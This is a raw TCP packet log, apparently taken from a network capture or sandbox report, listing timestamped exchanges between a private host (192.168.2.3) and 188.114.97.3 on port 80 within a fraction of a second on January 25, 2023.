Jan 25, 2023 09:42:44.204520941 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.204545975 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.204602957 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.204670906 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.204667091 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.204729080 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.204792023 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.204811096 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.204862118 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.204890966 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.204936981 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.204956055 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.205019951 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.205022097 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.205085039 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.205140114 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.205149889 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.205205917 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.205255985 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.205271006 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.205341101 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.205424070 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.205471992 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.205483913 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.205548048 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.205575943 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.205615044 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.205681086 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.205739975 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.205749035 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.205817938 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.205821991 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.205883026 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.205940962 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.205943108 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.206012964 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.206059933 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.206084967 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.206125975 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.206178904 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.206188917 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.206247091 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.206305027 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.206310987 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.206374884 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.206440926 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.206442118 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.206509113 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.206543922 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.206573009 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.206617117 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.206670046 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.206687927 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.206760883 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.206828117 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.206840992 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.206908941 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.206969023 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.206970930 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.207039118 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.207091093 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.207108021 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.207170963 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.207217932 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.207264900 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.207305908 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.207365990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.207400084 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.207429886 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.207483053 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.207499981 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.207545042 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.207612991 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.207627058 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.207643986 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.207704067 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.207709074 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.207770109 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.207832098 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.207853079 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.207892895 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.207933903 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.207958937 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.208004951 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.208034992 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.208086967 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.208096981 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.208163023 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.208165884 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.208229065 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.208230019 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.208292007 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.208309889 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.208365917 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.208395958 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.208420038 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.208432913 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.208488941 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.208504915 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.208561897 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.208565950 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.208619118 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.208638906 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.208664894 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.208674908 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.208734989 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.208749056 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.208784103 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.208797932 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.208837986 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.208853960 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.208913088 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.208914042 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.208967924 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.208980083 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.209036112 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.209054947 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.209106922 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.209115028 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.209177971 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.209178925 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.209239006 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.209265947 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.209290028 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.209316015 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.209352016 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.209403038 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.209403038 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.209431887 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.209485054 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.209496975 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.209563971 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.209582090 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.209634066 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.209650993 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.209717035 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.210485935 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.210546970 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.210551023 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.210608006 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.210614920 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.210678101 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.210707903 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.210760117 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.210769892 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.210829020 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.210877895 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.210912943 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.210964918 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.210983992 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.211015940 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.211033106 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.211097956 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.211107969 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.211172104 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.211199045 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.211226940 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.211239100 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.211296082 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.211301088 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.211365938 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.211376905 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.211429119 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.211447954 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.211488008 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.211493969 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.211534023 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.211565018 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.211620092 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.211632013 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.211688042 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.211735964 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.211735964 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.211759090 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.211802959 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.211822033 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.211868048 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.211877108 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.211929083 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.211966991 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.212017059 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.212033033 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.212069988 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.212085009 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.212141037 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.212142944 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.212203979 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.212208986 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.212287903 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.212299109 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.212356091 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.212373972 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.212433100 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.212459087 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.212476969 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.212485075 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.212522984 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.212578058 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.212589979 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.212594986 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.212609053 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.212645054 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.212658882 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.230179071 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.230220079 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.230248928 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.230273008 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.230283976 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.230295897 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.230310917 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.230323076 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.230329037 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.230369091 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.230632067 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.230662107 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.230705023 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.230712891 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.230750084 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.230776072 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.230794907 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.230828047 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.230855942 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.230884075 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.230915070 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.230915070 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.230915070 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.230931044 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.230952978 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.230952978 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.230993986 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.230994940 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231023073 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231029987 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231040001 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231069088 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231103897 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231108904 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231146097 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231147051 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231158972 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231190920 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231200933 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231218100 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231255054 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231268883 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231295109 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231312037 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231333017 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231354952 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231379986 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231384993 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231422901 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231441021 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231461048 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231472969 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231503010 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231519938 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231542110 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231550932 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231580019 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231616020 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231630087 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231657028 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231693983 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231707096 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231733084 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231746912 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231771946 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231786966 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231812954 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231822014 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231852055 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231864929 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231892109 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231899977 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231930017 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231937885 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.231966972 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.231977940 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.232004881 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.232016087 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.232043982 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.232068062 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.232084990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.232119083 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.232120991 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.232141972 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.232161045 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.232172966 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.232199907 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.232211113 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.232239962 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.232281923 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.232296944 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.232322931 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.232326984 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.232362986 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.232369900 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.232403040 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.232417107 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.232445955 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.232465029 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.232491970 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.232532024 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.232552052 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.232552052 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.232573986 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.232594013 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.232614040 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.232644081 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.232669115 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.247298956 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.247329950 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.247348070 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.247370958 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.247454882 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.247454882 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.343369007 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.360724926 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.360810041 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.360857010 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.360919952 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.360919952 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.360975981 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.360986948 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.361027002 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.361079931 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.361093998 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.361157894 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.361207962 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.361228943 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.361263037 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.361311913 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.361355066 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.361387014 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.361437082 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.361455917 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.361490965 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.361541986 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.361594915 CET	80	49728	188.114.97.3	192.168.2.3
